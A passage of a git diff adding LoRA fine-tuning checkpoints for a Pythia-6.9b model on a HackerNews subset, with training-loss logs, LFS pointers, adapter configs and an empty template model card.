"eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.9158215958528e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..862d7d310f87fda6747e3840adcc6c0e7fc41324 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b36526e2830cf7ce70a0422165577dca8f62fa75189a0e2a8b58fbdb5fbe1b59 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ca7bd1077e54453b4421290ace859dd93231b200 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:33f77ebbd03807255624cdefd2fb7be695f293aef0a6f986d9c936b92ba46fd3 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..a5b4503b006d8dec33c7a086d3d007eef4282144 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a82d768c5f5c231c8b50481a409281b8639e231a185281a7476164488eb6c27f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..58f0265f6abd6b6684c5edee08f03cf244492dc5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f67fc10f846f52b9c0359f08a436d3ebec080f189f60c98def04956b2dc83cd7 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..33562a572a96387c1f391ac692289b7599eb5d90 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/trainer_state.json @@ -0,0 +1,498 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.133333333333334, + "eval_steps": 10, + "global_step": 310, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.07968231571456e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-310/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..fbab7e04430e9d508bf9618041d7edb8b21d0089 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:001a5171cbc5098faa66b014357360fcedebb3b99dd82087cc8cec2e670550bc +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..203827ea4f7a6e5d65e4d667e77b681a9f32074d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid 